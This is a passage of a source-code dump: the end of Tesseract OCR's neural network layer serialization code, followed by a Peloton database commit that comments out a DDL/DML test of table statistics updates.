License.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Include automatically generated configuration file if running autoconf.\n#ifdef HAVE_CONFIG_H\n#include \"config_auto.h\"\n#endif\n\n#include \"network.h\"\n\n#include <cstdlib>\n\n\/\/ This base class needs to know about all its sub-classes because of the\n\/\/ factory deserializing method: CreateFromFile.\n#include \"allheaders.h\"\n#include \"convolve.h\"\n#include \"fullyconnected.h\"\n#include \"input.h\"\n#include \"lstm.h\"\n#include \"maxpool.h\"\n#include \"parallel.h\"\n#include \"reconfig.h\"\n#include \"reversed.h\"\n#include \"scrollview.h\"\n#include \"series.h\"\n#include \"statistc.h\"\n#ifdef INCLUDE_TENSORFLOW\n#include \"tfnetwork.h\"\n#endif\n#include \"tprintf.h\"\n\nnamespace tesseract {\n\n\/\/ Min and max window sizes.\nconst int kMinWinSize = 500;\nconst int kMaxWinSize = 2000;\n\/\/ Window frame sizes need adding on to make the content fit.\nconst int kXWinFrameSize = 30;\nconst int kYWinFrameSize = 80;\n\n\/\/ String names corresponding to the NetworkType enum.\n\/\/ Keep in sync with NetworkType.\n\/\/ Names used in Serialization to allow re-ordering\/addition\/deletion of\n\/\/ layer types in NetworkType without invalidating existing network files.\nstatic char const* const kTypeNames[NT_COUNT] = {\n    \"Invalid\",     \"Input\",\n    \"Convolve\",    \"Maxpool\",\n    \"Parallel\",    \"Replicated\",\n    \"ParBidiLSTM\", \"DepParUDLSTM\",\n    \"Par2dLSTM\",   \"Series\",\n    \"Reconfig\",    \"RTLReversed\",\n    \"TTBReversed\", \"XYTranspose\",\n    \"LSTM\",        \"SummLSTM\",\n    \"Logistic\",    \"LinLogistic\",\n    \"LinTanh\",     \"Tanh\",\n    \"Relu\",        \"Linear\",\n    \"Softmax\",     \"SoftmaxNoCTC\",\n    \"LSTMSoftmax\", \"LSTMBinarySoftmax\",\n    \"TensorFlow\",\n};\n\nNetwork::Network()\n    : type_(NT_NONE),\n      training_(TS_ENABLED),\n      needs_to_backprop_(true),\n      network_flags_(0),\n      ni_(0),\n      no_(0),\n      num_weights_(0),\n      forward_win_(nullptr),\n      backward_win_(nullptr),\n      randomizer_(nullptr) {}\nNetwork::Network(NetworkType type, const std::string& name, int ni, int no)\n    : type_(type),\n      training_(TS_ENABLED),\n      needs_to_backprop_(true),\n      network_flags_(0),\n      ni_(ni),\n      no_(no),\n      num_weights_(0),\n      name_(name),\n      forward_win_(nullptr),\n      backward_win_(nullptr),\n      randomizer_(nullptr) {}\n\n\n\/\/ Suspends\/Enables\/Permanently disables training by setting the training_\n\/\/ flag. Serialize and DeSerialize only operate on the run-time data if state\n\/\/ is TS_DISABLED or TS_TEMP_DISABLE. Specifying TS_TEMP_DISABLE will\n\/\/ temporarily disable layers in state TS_ENABLED, allowing a trainer to\n\/\/ serialize as if it were a recognizer.\n\/\/ TS_RE_ENABLE will re-enable layers that were previously in any disabled\n\/\/ state. If in TS_TEMP_DISABLE then the flag is just changed, but if in\n\/\/ TS_DISABLED, the deltas in the weight matrices are reinitialized so that a\n\/\/ recognizer can be converted back to a trainer.\nvoid Network::SetEnableTraining(TrainingState state) {\n  if (state == TS_RE_ENABLE) {\n    \/\/ Enable only from temp disabled.\n    if (training_ == TS_TEMP_DISABLE) training_ = TS_ENABLED;\n  } else if (state == TS_TEMP_DISABLE) {\n    \/\/ Temp disable only from enabled.\n    if (training_ == TS_ENABLED) training_ = state;\n  } else {\n    training_ = state;\n  }\n}\n\n\/\/ Sets flags that control the action of the network. See NetworkFlags enum\n\/\/ for bit values.\nvoid Network::SetNetworkFlags(uint32_t flags) {\n  network_flags_ = flags;\n}\n\n\/\/ Sets up the network for training. Initializes weights using weights of\n\/\/ scale `range` picked according to the random number generator `randomizer`.\nint Network::InitWeights(float range, TRand* randomizer) {\n  randomizer_ = randomizer;\n  return 0;\n}\n\n\/\/ Provides a pointer to a TRand for any networks that care to use it.\n\/\/ Note that randomizer is a borrowed pointer that should outlive the network\n\/\/ and should not be deleted by any of the networks.\nvoid Network::SetRandomizer(TRand* randomizer) {\n  randomizer_ = randomizer;\n}\n\n\/\/ Sets needs_to_backprop_ to needs_backprop and returns true if\n\/\/ needs_backprop || any weights in this network so the next layer forward\n\/\/ can be told to produce backprop for this layer if needed.\nbool Network::SetupNeedsBackprop(bool needs_backprop) {\n  needs_to_backprop_ = needs_backprop;\n  return needs_backprop || num_weights_ > 0;\n}\n\n\/\/ Writes to the given file. Returns false in case of error.\nbool Network::Serialize(TFile* fp) const {\n  int8_t data = NT_NONE;\n  if (!fp->Serialize(&data)) return false;\n  STRING type_name = kTypeNames[type_];\n  if (!type_name.Serialize(fp)) return false;\n  data = training_;\n  if (!fp->Serialize(&data)) return false;\n  data = needs_to_backprop_;\n  if (!fp->Serialize(&data)) return false;\n  if (!fp->Serialize(&network_flags_)) return false;\n  if (!fp->Serialize(&ni_)) return false;\n  if (!fp->Serialize(&no_)) return false;\n  if (!fp->Serialize(&num_weights_)) return false;\n  uint32_t length = name_.length();\n  if (!fp->Serialize(&length)) return false;\n  return fp->Serialize(name_.c_str(), length);\n}\n\nstatic NetworkType getNetworkType(TFile* fp) {\n  int8_t data;\n  if (!fp->DeSerialize(&data)) return NT_NONE;\n  if (data == NT_NONE) {\n    STRING type_name;\n    if (!type_name.DeSerialize(fp)) return NT_NONE;\n    for (data = 0; data < NT_COUNT && type_name != kTypeNames[data]; ++data) {\n    }\n    if (data == NT_COUNT) {\n      tprintf(\"Invalid network layer type:%s\\n\", type_name.c_str());\n      return NT_NONE;\n    }\n  }\n  return static_cast<NetworkType>(data);\n}\n\n\/\/ Reads from the given file. Returns nullptr in case of error.\n\/\/ Determines the type of the serialized class and calls its DeSerialize\n\/\/ on a new object of the appropriate type, which is returned.\nNetwork* Network::CreateFromFile(TFile* fp) {\n  NetworkType type;          \/\/ Type of the derived network class.\n  TrainingState training;    \/\/ Are we currently training?\n  bool needs_to_backprop;    \/\/ This network needs to output back_deltas.\n  int32_t network_flags;     \/\/ Behavior control flags in NetworkFlags.\n  int32_t ni;                \/\/ Number of input values.\n  int32_t no;                \/\/ Number of output values.\n  int32_t num_weights;       \/\/ Number of weights in this and sub-network.\n  STRING name;               \/\/ A unique name for this layer.\n  int8_t data;\n  Network* network = nullptr;\n  type = getNetworkType(fp);\n  if (!fp->DeSerialize(&data)) return nullptr;\n  training = data == TS_ENABLED ? TS_ENABLED : TS_DISABLED;\n  if (!fp->DeSerialize(&data)) return nullptr;\n  needs_to_backprop = data != 0;\n  if (!fp->DeSerialize(&network_flags)) return nullptr;\n  if (!fp->DeSerialize(&ni)) return nullptr;\n  if (!fp->DeSerialize(&no)) return nullptr;\n  if (!fp->DeSerialize(&num_weights)) return nullptr;\n  if (!name.DeSerialize(fp)) return nullptr;\n\n  switch (type) {\n    case NT_CONVOLVE:\n      network = new Convolve(name.c_str(), ni, 0, 0);\n      break;\n    case NT_INPUT:\n      network = new Input(name.c_str(), ni, no);\n      break;\n    case NT_LSTM:\n    case NT_LSTM_SOFTMAX:\n    case NT_LSTM_SOFTMAX_ENCODED:\n    case NT_LSTM_SUMMARY:\n      network =\n          new LSTM(name.c_str(), ni, no, no, false, type);\n      break;\n    case NT_MAXPOOL:\n      network = new Maxpool(name.c_str(), ni, 0, 0);\n      break;\n    \/\/ All variants of Parallel.\n    case NT_PARALLEL:\n    case NT_REPLICATED:\n    case NT_PAR_RL_LSTM:\n    case NT_PAR_UD_LSTM:\n    case NT_PAR_2D_LSTM:\n      network = new Parallel(name.c_str(), type);\n      break;\n    case NT_RECONFIG:\n      network = new Reconfig(name.c_str(), ni, 0, 0);\n      break;\n    \/\/ All variants of reversed.\n    case NT_XREVERSED:\n    case NT_YREVERSED:\n    case NT_XYTRANSPOSE:\n      network = new Reversed(name.c_str(), type);\n      break;\n    case NT_SERIES:\n      network = new Series(name.c_str());\n      break;\n    case NT_TENSORFLOW:\n#ifdef INCLUDE_TENSORFLOW\n      network = new TFNetwork(name);\n#else\n      tprintf(\"TensorFlow not compiled in! -DINCLUDE_TENSORFLOW\\n\");\n#endif\n      break;\n    \/\/ All variants of FullyConnected.\n    case NT_SOFTMAX:\n    case NT_SOFTMAX_NO_CTC:\n    case NT_RELU:\n    case NT_TANH:\n    case NT_LINEAR:\n    case NT_LOGISTIC:\n    case NT_POSCLIP:\n    case NT_SYMCLIP:\n      network = new FullyConnected(name.c_str(), ni, no, type);\n      break;\n    default:\n      break;\n  }\n  if (network) {\n    network->training_ = training;\n    network->needs_to_backprop_ = needs_to_backprop;\n    network->network_flags_ = network_flags;\n    network->num_weights_ = num_weights;\n    if (!network->DeSerialize(fp)) {\n      delete network;\n      network = nullptr;\n    }\n  }\n  return network;\n}\n\n\/\/ Returns a random number in [-range, range].\ndouble Network::Random(double range) {\n  ASSERT_HOST(randomizer_ != nullptr);\n  return randomizer_->SignedRand(range);\n}\n\n#ifndef GRAPHICS_DISABLED\n\n\/\/ === Debug image display methods. ===\n\/\/ Displays the image of the matrix to the forward window.\nvoid Network::DisplayForward(const NetworkIO& matrix) {\n  Pix* image = matrix.ToPix();\n  ClearWindow(false, name_.c_str(), pixGetWidth(image),\n              pixGetHeight(image), &forward_win_);\n  DisplayImage(image, forward_win_);\n  forward_win_->Update();\n}\n\n\/\/ Displays the image of the matrix to the backward window.\nvoid Network::DisplayBackward(const NetworkIO& matrix) {\n  Pix* image = matrix.ToPix();\n  std::string window_name = name_ + \"-back\";\n  ClearWindow(false, window_name.c_str(), pixGetWidth(image),\n              pixGetHeight(image), &backward_win_);\n  DisplayImage(image, backward_win_);\n  backward_win_->Update();\n}\n\n\/\/ Creates the window if needed, otherwise clears it.\nvoid Network::ClearWindow(bool tess_coords, const char* window_name,\n                          int width, int height, ScrollView** window) {\n  if (*window == nullptr) {\n    int min_size = std::min(width, height);\n    if (min_size < kMinWinSize) {\n      if (min_size < 1) min_size = 1;\n      width = width * kMinWinSize \/ min_size;\n      height = height * kMinWinSize \/ min_size;\n    }\n    width += kXWinFrameSize;\n    height += kYWinFrameSize;\n    if (width > kMaxWinSize) width = kMaxWinSize;\n    if (height > kMaxWinSize) height = kMaxWinSize;\n    *window = new ScrollView(window_name, 80, 100, width, height, width, height,\n                             tess_coords);\n    tprintf(\"Created window %s of size %d, %d\\n\", window_name, width, height);\n  } else {\n    (*window)->Clear();\n  }\n}\n\n\/\/ Displays the pix in the given window. and returns the height of the pix.\n\/\/ The pix is pixDestroyed.\nint Network::DisplayImage(Pix* pix, ScrollView* window) {\n  int height = pixGetHeight(pix);\n  window->Image(pix, 0, 0);\n  pixDestroy(&pix);\n  return height;\n}\n#endif \/\/ !GRAPHICS_DISABLED\n\n}  \/\/ namespace tesseract.\n<|endoftext|>"}
{"text":"<commit_before>\/*-------------------------------------------------------------------------\n *\n * bridge_test_mix.cpp\n * file description\n *\n * Copyright(c) 2015, CMU\n *\n * \/peloton\/tests\/bridge\/bridge_test_mix.cpp\n *\n *-------------------------------------------------------------------------\n *\/\n\n#include \"bridge_test.h\"\n\n#include \"backend\/bridge\/ddl\/bridge.h\"\n#include \"backend\/bridge\/ddl\/ddl.h\"\n#include \"backend\/bridge\/ddl\/ddl_table.h\"\n#include \"backend\/bridge\/ddl\/ddl_index.h\"\n#include \"backend\/catalog\/manager.h\"\n#include \"backend\/storage\/database.h\"\n\nnamespace peloton {\nnamespace bridge {\n\n\/**\n * @brief Test many DDL functions together\n *\/\nvoid BridgeTest::DDL_MIX_TEST() {\n\n  DDL_MIX_TEST_1();\n\n  DDL_MIX_TEST_2();\n\n  DDL_MIX_TEST_3();\n\n}\n\n\/**\n * @brief Create a table with simple columns that contain\n *        column-level constraints such as single column\n *        primary key, unique, and reference table\n *\/\nvoid BridgeTest::DDL_MIX_TEST_1() {\n  auto& manager = catalog::Manager::GetInstance();\n  storage::Database* db =\n      manager.GetDatabaseWithOid(Bridge::GetCurrentDatabaseOid());\n\n  \/\/ Get the simple columns\n  std::vector<catalog::Column> columns = CreateSimpleColumns();\n\n  \/\/ Table name and oid\n  std::string table_name = \"test_table_column_constraint\";\n  oid_t table_oid = 50001;\n\n  \/\/ Create a table\n  bool status = DDLTable::CreateTable(table_oid, table_name, columns);\n  assert(status);\n\n  \/\/ Get the table pointer and schema\n  storage::DataTable* table = db->GetTableWithOid(table_oid);\n  catalog::Schema* schema = table->GetSchema();\n\n  \/\/ Create the constrains\n  catalog::Constraint notnull_constraint(CONSTRAINT_TYPE_NOTNULL);\n\n  \/\/ Add one constraint to the one column\n  schema->AddConstraint(\"id\", notnull_constraint);\n\n  \/\/ Create a primary key index and added primary key constraint to the 'name'\n  \/\/ column\n  oid_t primary_key_index_oid = 50002;\n  CreateSamplePrimaryKeyIndex(table_name, primary_key_index_oid);\n\n  \/\/ Create a unique index and added unique constraint to the 'time' column\n  oid_t unique_index_oid = 50003;\n  CreateSampleUniqueIndex(table_name, unique_index_oid);\n\n  \/\/ Create a reference table and foreign key constraint and added unique\n  \/\/ constraint to the 'salary' column\n  std::string pktable_name = \"pktable\";\n  oid_t pktable_oid = 50004;\n  CreateSampleForeignKey(pktable_oid, pktable_name, columns, table_oid);\n\n  \/\/ Check the first column's constraint\n  catalog::Column column = schema->GetColumn(0);\n  CheckColumnWithConstraint(column, CONSTRAINT_TYPE_NOTNULL, \"\", 1);\n\n  \/\/ Check the second column's constraint and index\n  column = schema->GetColumn(1);\n  CheckColumnWithConstraint(column, CONSTRAINT_TYPE_PRIMARY,\n                            table_name + \"_pkey\", 1);\n  index::Index* index = table->GetIndexWithOid(primary_key_index_oid);\n  CheckIndex(index, table_name + \"_pkey\", 1, INDEX_TYPE_BTREE,\n             INDEX_CONSTRAINT_TYPE_PRIMARY_KEY, true);\n\n  \/\/ Check the third column's constraint and index\n  column = schema->GetColumn(2);\n  CheckColumnWithConstraint(column, CONSTRAINT_TYPE_UNIQUE, table_name + \"_key\",\n                            1);\n  index = table->GetIndexWithOid(unique_index_oid);\n  CheckIndex(index, table_name + \"_key\", 1, INDEX_TYPE_BTREE,\n             INDEX_CONSTRAINT_TYPE_UNIQUE, true);\n\n  \/\/ Check the fourth column's constraint and foreign key\n  column = schema->GetColumn(3);\n  CheckColumnWithConstraint(column, CONSTRAINT_TYPE_FOREIGN,\n                            \"THIS_IS_FOREIGN_CONSTRAINT\", 1, 0);\n  catalog::ForeignKey* pktable = table->GetForeignKey(0);\n  CheckForeignKey(pktable, pktable_oid, \"THIS_IS_FOREIGN_CONSTRAINT\", 1, 1, 'r',\n                  'c');\n\n  \/\/ Drop the table\n  status = DDLTable::DropTable(table_oid);\n  assert(status);\n\n  \/\/ Drop the table\n  status = DDLTable::DropTable(pktable_oid);\n  assert(status);\n\n  std::cout << \":::::: \" << __func__ << \" DONE\\n\";\n}\n\n\/**\n * @brief Test DDL and DML together. Create a table and drop it. Create a table\n *  again and insert tuple into the table. \n *\/\nvoid BridgeTest::DDL_MIX_TEST_2() {\n\n  auto& manager = catalog::Manager::GetInstance();\n  storage::Database* db = manager.GetDatabaseWithOid(Bridge::GetCurrentDatabaseOid());\n\n  \/\/ Get the simple columns\n  std::vector<catalog::Column> columns = CreateSimpleColumns();\n\n  \/\/ Table name and oid\n  std::string table_name = \"ddl_dml_mix_test_table\";\n  oid_t table_oid = 60001;\n\n  \/\/ Create a table\n  bool status = DDLTable::CreateTable(table_oid, table_name, columns);\n  assert(status);\n\n  \/\/ Drop the table\n  status = DDLTable::DropTable(table_oid);\n  assert(status);\n\n  \/\/ Create a table again\n  status = DDLTable::CreateTable(table_oid, table_name, columns);\n  assert(status);\n\n  \/\/ Get the table pointer and schema\n  storage::DataTable* table = db->GetTableWithOid(table_oid);\n  catalog::Schema *schema = table->GetSchema();\n\n  \/\/ Ensure that the tile group is as expected.\n  assert(schema->GetColumnCount() == 4);\n\n  \/\/ Insert tuples\n  const bool allocate = true;\n\n  for (int col_itr = 0; col_itr < 5; col_itr++) {\n\n    storage::Tuple tuple(schema, allocate);\n\n    \/\/ Setting values\n    Value integerValue = ValueFactory::GetIntegerValue(243432);\n    Value stringValue = ValueFactory::GetStringValue(\"dude\");\n    Value timestampValue = ValueFactory::GetTimestampValue(10.22);\n    Value doubleValue = ValueFactory::GetDoubleValue(244643.1236);\n \n    tuple.SetValue(0, integerValue);\n    tuple.SetValue(1, stringValue);\n    tuple.SetValue(2, timestampValue);\n    tuple.SetValue(3, doubleValue);\n\n    table->InsertTuple((txn_id_t)col_itr, &tuple, false);\n\n    assert(tuple.GetValue(0) == integerValue);\n    assert(tuple.GetValue(1) == stringValue);\n    assert(tuple.GetValue(2) == timestampValue);\n    assert(tuple.GetValue(3) == doubleValue);\n  }\n\n  \/\/ Drop the table\n  status = DDLTable::DropTable(table_oid);\n  assert(status);\n\n  std::cout << \":::::: \" << __func__ << \" DONE\\n\";\n}\n\n\/**\n * @brief UpdateStats Test\n *\/\nvoid BridgeTest::DDL_MIX_TEST_3() {\n  bool status;\n\n  \/\/ Get db\n  auto& manager = catalog::Manager::GetInstance();\n  storage::Database* db = manager.GetDatabaseWithOid(Bridge::GetCurrentDatabaseOid());\n\n  \/\/ Get the simple columns\n  std::vector<catalog::Column> columns = CreateSimpleColumns();\n  std::string table_name = \"DDL_MIX_TEST_3\";\n\n  \/\/ Create a table in Postgres\n  oid_t table_oid = CreateTableInPostgres(table_name);\n  assert(table_oid);\n\n  \/\/ Create a table in Peloton as well\n  status = DDLTable::CreateTable(table_oid, table_name, columns);\n  assert(status);\n\n  \/\/ insert tuple\n   \/\/ Get the table pointer and schema\n  storage::DataTable* table = db->GetTableWithOid(table_oid);\n  catalog::Schema *schema = table->GetSchema();\n\n  \/\/ Ensure that the tile group is as expected.\n  assert(schema->GetColumnCount() == 4);\n\n  \/\/ Insert tuples\n  const bool allocate = true;\n\n  for (int col_itr = 0; col_itr < 5; col_itr++) {\n\n    storage::Tuple tuple(schema, allocate);\n\n    \/\/ Setting values\n    Value integerValue = ValueFactory::GetIntegerValue(243432);\n    Value stringValue = ValueFactory::GetStringValue(\"dude\");\n    Value timestampValue = ValueFactory::GetTimestampValue(10.22);\n    Value doubleValue = ValueFactory::GetDoubleValue(244643.1236);\n \n    tuple.SetValue(0, integerValue);\n    tuple.SetValue(1, stringValue);\n    tuple.SetValue(2, timestampValue);\n    tuple.SetValue(3, doubleValue);\n\n    table->InsertTuple((txn_id_t)col_itr, &tuple, false);\n\n    assert(tuple.GetValue(0) == integerValue);\n    assert(tuple.GetValue(1) == stringValue);\n    assert(tuple.GetValue(2) == timestampValue);\n    assert(tuple.GetValue(3) == doubleValue);\n  }\n\n  \/\/ get the number of tuples\n  assert( Bridge::GetNumberOfTuples(table_oid) == 0 );\n\n  \/\/ analyze\n  db->UpdateStats();\n\n  \/\/ get the number of tuples\n  assert( Bridge::GetNumberOfTuples(table_oid) == 5 );\n\n  \/\/ create table\n  \/\/ Create a table in Peloton as well\n  status = DDLTable::CreateTable(table_oid+1, table_name+\"second\", columns);\n  assert(status);\n\n  \/\/ Drop the table in Postgres\n  status = DropTableInPostgres(table_name);\n  assert(status);\n\n  \/\/ Drop the table\n  status = DDLTable::DropTable(table_oid);\n  assert(status);\n\n  \/\/ Drop the table\n  status = DDLTable::DropTable(table_oid+1);\n  assert(status);\n\n  std::cout << \":::::: \" << __func__ << \" DONE\\n\";\n}\n\n}  \/\/ End bridge namespace\n}  \/\/ End peloton namespace\n<commit_msg>Disabled BRIDGE_TEST_MIX_3 (UpdateStats test)<commit_after>\/*-------------------------------------------------------------------------\n *\n * bridge_test_mix.cpp\n * file description\n *\n * Copyright(c) 2015, CMU\n *\n * \/peloton\/tests\/bridge\/bridge_test_mix.cpp\n *\n *-------------------------------------------------------------------------\n *\/\n\n#include \"bridge_test.h\"\n\n#include \"backend\/bridge\/ddl\/bridge.h\"\n#include \"backend\/bridge\/ddl\/ddl.h\"\n#include \"backend\/bridge\/ddl\/ddl_table.h\"\n#include \"backend\/bridge\/ddl\/ddl_index.h\"\n#include \"backend\/catalog\/manager.h\"\n#include \"backend\/storage\/database.h\"\n\nnamespace peloton {\nnamespace bridge {\n\n\/**\n * @brief Test many DDL functions together\n *\/\nvoid BridgeTest::DDL_MIX_TEST() {\n\n  DDL_MIX_TEST_1();\n\n  DDL_MIX_TEST_2();\n\n  DDL_MIX_TEST_3();\n\n}\n\n\/**\n * @brief Create a table with simple columns that contain\n *        column-level constraints such as single column\n *        primary key, unique, and reference table\n *\/\nvoid BridgeTest::DDL_MIX_TEST_1() {\n  auto& manager = catalog::Manager::GetInstance();\n  storage::Database* db =\n      manager.GetDatabaseWithOid(Bridge::GetCurrentDatabaseOid());\n\n  \/\/ Get the simple columns\n  std::vector<catalog::Column> columns = CreateSimpleColumns();\n\n  \/\/ Table name and oid\n  std::string table_name = \"test_table_column_constraint\";\n  oid_t table_oid = 50001;\n\n  \/\/ Create a table\n  bool status = DDLTable::CreateTable(table_oid, table_name, columns);\n  assert(status);\n\n  \/\/ Get the table pointer and schema\n  storage::DataTable* table = db->GetTableWithOid(table_oid);\n  catalog::Schema* schema = table->GetSchema();\n\n  \/\/ Create the constrains\n  catalog::Constraint notnull_constraint(CONSTRAINT_TYPE_NOTNULL);\n\n  \/\/ Add one constraint to the one column\n  schema->AddConstraint(\"id\", notnull_constraint);\n\n  \/\/ Create a primary key index and added primary key constraint to the 'name'\n  \/\/ column\n  oid_t primary_key_index_oid = 50002;\n  CreateSamplePrimaryKeyIndex(table_name, primary_key_index_oid);\n\n  \/\/ Create a unique index and added unique constraint to the 'time' column\n  oid_t unique_index_oid = 50003;\n  CreateSampleUniqueIndex(table_name, unique_index_oid);\n\n  \/\/ Create a reference table and foreign key constraint and added unique\n  \/\/ constraint to the 'salary' column\n  std::string pktable_name = \"pktable\";\n  oid_t pktable_oid = 50004;\n  CreateSampleForeignKey(pktable_oid, pktable_name, columns, table_oid);\n\n  \/\/ Check the first column's constraint\n  catalog::Column column = schema->GetColumn(0);\n  CheckColumnWithConstraint(column, CONSTRAINT_TYPE_NOTNULL, \"\", 1);\n\n  \/\/ Check the second column's constraint and index\n  column = schema->GetColumn(1);\n  CheckColumnWithConstraint(column, CONSTRAINT_TYPE_PRIMARY,\n                            table_name + \"_pkey\", 1);\n  index::Index* index = table->GetIndexWithOid(primary_key_index_oid);\n  CheckIndex(index, table_name + \"_pkey\", 1, INDEX_TYPE_BTREE,\n             INDEX_CONSTRAINT_TYPE_PRIMARY_KEY, true);\n\n  \/\/ Check the third column's constraint and index\n  column = schema->GetColumn(2);\n  CheckColumnWithConstraint(column, CONSTRAINT_TYPE_UNIQUE, table_name + \"_key\",\n                            1);\n  index = table->GetIndexWithOid(unique_index_oid);\n  CheckIndex(index, table_name + \"_key\", 1, INDEX_TYPE_BTREE,\n             INDEX_CONSTRAINT_TYPE_UNIQUE, true);\n\n  \/\/ Check the fourth column's constraint and foreign key\n  column = schema->GetColumn(3);\n  CheckColumnWithConstraint(column, CONSTRAINT_TYPE_FOREIGN,\n                            \"THIS_IS_FOREIGN_CONSTRAINT\", 1, 0);\n  catalog::ForeignKey* pktable = table->GetForeignKey(0);\n  CheckForeignKey(pktable, pktable_oid, \"THIS_IS_FOREIGN_CONSTRAINT\", 1, 1, 'r',\n                  'c');\n\n  \/\/ Drop the table\n  status = DDLTable::DropTable(table_oid);\n  assert(status);\n\n  \/\/ Drop the table\n  status = DDLTable::DropTable(pktable_oid);\n  assert(status);\n\n  std::cout << \":::::: \" << __func__ << \" DONE\\n\";\n}\n\n\/**\n * @brief Test DDL and DML together. Create a table and drop it. Create a table\n *  again and insert tuple into the table. \n *\/\nvoid BridgeTest::DDL_MIX_TEST_2() {\n\n  auto& manager = catalog::Manager::GetInstance();\n  storage::Database* db = manager.GetDatabaseWithOid(Bridge::GetCurrentDatabaseOid());\n\n  \/\/ Get the simple columns\n  std::vector<catalog::Column> columns = CreateSimpleColumns();\n\n  \/\/ Table name and oid\n  std::string table_name = \"ddl_dml_mix_test_table\";\n  oid_t table_oid = 60001;\n\n  \/\/ Create a table\n  bool status = DDLTable::CreateTable(table_oid, table_name, columns);\n  assert(status);\n\n  \/\/ Drop the table\n  status = DDLTable::DropTable(table_oid);\n  assert(status);\n\n  \/\/ Create a table again\n  status = DDLTable::CreateTable(table_oid, table_name, columns);\n  assert(status);\n\n  \/\/ Get the table pointer and schema\n  storage::DataTable* table = db->GetTableWithOid(table_oid);\n  catalog::Schema *schema = table->GetSchema();\n\n  \/\/ Ensure that the tile group is as expected.\n  assert(schema->GetColumnCount() == 4);\n\n  \/\/ Insert tuples\n  const bool allocate = true;\n\n  for (int col_itr = 0; col_itr < 5; col_itr++) {\n\n    storage::Tuple tuple(schema, allocate);\n\n    \/\/ Setting values\n    Value integerValue = ValueFactory::GetIntegerValue(243432);\n    Value stringValue = ValueFactory::GetStringValue(\"dude\");\n    Value timestampValue = ValueFactory::GetTimestampValue(10.22);\n    Value doubleValue = ValueFactory::GetDoubleValue(244643.1236);\n \n    tuple.SetValue(0, integerValue);\n    tuple.SetValue(1, stringValue);\n    tuple.SetValue(2, timestampValue);\n    tuple.SetValue(3, doubleValue);\n\n    table->InsertTuple((txn_id_t)col_itr, &tuple, false);\n\n    assert(tuple.GetValue(0) == integerValue);\n    assert(tuple.GetValue(1) == stringValue);\n    assert(tuple.GetValue(2) == timestampValue);\n    assert(tuple.GetValue(3) == doubleValue);\n  }\n\n  \/\/ Drop the table\n  status = DDLTable::DropTable(table_oid);\n  assert(status);\n\n  std::cout << \":::::: \" << __func__ << \" DONE\\n\";\n}\n\n\/**\n * @brief UpdateStats Test\n *\/\nvoid BridgeTest::DDL_MIX_TEST_3() {\n  bool status;\n\/\/\n\/\/  \/\/ Get db\n\/\/  auto& manager = catalog::Manager::GetInstance();\n\/\/  storage::Database* db = manager.GetDatabaseWithOid(Bridge::GetCurrentDatabaseOid());\n\/\/\n\/\/  \/\/ Get the simple columns\n\/\/  std::vector<catalog::Column> columns = CreateSimpleColumns();\n\/\/  std::string table_name = \"DDL_MIX_TEST_3\";\n\/\/\n\/\/  \/\/ Create a table in Postgres\n\/\/  oid_t table_oid = CreateTableInPostgres(table_name);\n\/\/  assert(table_oid);\n\/\/\n\/\/  \/\/ Create a table in Peloton as well\n\/\/  status = DDLTable::CreateTable(table_oid, table_name, columns);\n\/\/  assert(status);\n\/\/\n\/\/  \/\/ insert tuple\n\/\/   \/\/ Get the table pointer and schema\n\/\/  storage::DataTable* table = db->GetTableWithOid(table_oid);\n\/\/  catalog::Schema *schema = table->GetSchema();\n\/\/\n\/\/  \/\/ Ensure that the tile group is as expected.\n\/\/  assert(schema->GetColumnCount() == 4);\n\/\/\n\/\/  \/\/ Insert tuples\n\/\/  const bool allocate = true;\n\/\/\n\/\/  for (int col_itr = 0; col_itr < 5; col_itr++) {\n\/\/\n\/\/    storage::Tuple tuple(schema, allocate);\n\/\/\n\/\/    \/\/ Setting values\n\/\/    Value integerValue = ValueFactory::GetIntegerValue(243432);\n\/\/    Value stringValue = ValueFactory::GetStringValue(\"dude\");\n\/\/    Value timestampValue = ValueFactory::GetTimestampValue(10.22);\n\/\/    Value doubleValue = ValueFactory::GetDoubleValue(244643.1236);\n\/\/ \n\/\/    tuple.SetValue(0, integerValue);\n\/\/    tuple.SetValue(1, stringValue);\n\/\/    tuple.SetValue(2, timestampValue);\n\/\/    tuple.SetValue(3, doubleValue);\n\/\/\n\/\/    table->InsertTuple((txn_id_t)col_itr, &tuple, false);\n\/\/\n\/\/    assert(tuple.GetValue(0) == integerValue);\n\/\/    assert(tuple.GetValue(1) == stringValue);\n\/\/    assert(tuple.GetValue(2) == timestampValue);\n\/\/    assert(tuple.GetValue(3) == doubleValue);\n\/\/  }\n\/\/\n\/\/  \/\/ get the number of tuples\n\/\/  assert( Bridge::GetNumberOfTuples(table_oid) == 0 );\n\/\/\n\/\/  \/\/ analyze\n\/\/  db->UpdateStats();\n\/\/\n\/\/  \/\/ get the number of tuples\n\/\/  assert( Bridge::GetNumberOfTuples(table_oid) == 5 );\n\/\/\n\/\/  \/\/ create table\n\/\/  \/\/ Create a table in Peloton as well\n\/\/  status = DDLTable::CreateTable(table_oid+1, table_name+\"second\", columns);\n\/\/  assert(status);\n\/\/\n\/\/  \/\/ Drop the table in Postgres\n\/\/  status = DropTableInPostgres(table_name);\n\/\/  assert(status);\n\/\/\n\/\/  \/\/ Drop the table\n\/\/  status = DDLTable::DropTable(table_oid);\n\/\/  assert(status);\n\/\/\n\/\/  \/\/ Drop the table\n\/\/  status = DDLTable::DropTable(table_oid+1);\n\/\/  assert(status);\n\/\/\n\/\/  std::cout << \":::::: \" << __func__ << \" DONE\\n\";\n}\n\n}  \/\/ End bridge namespace\n}  \/\/ End peloton namespace\n<|endoftext|>"}
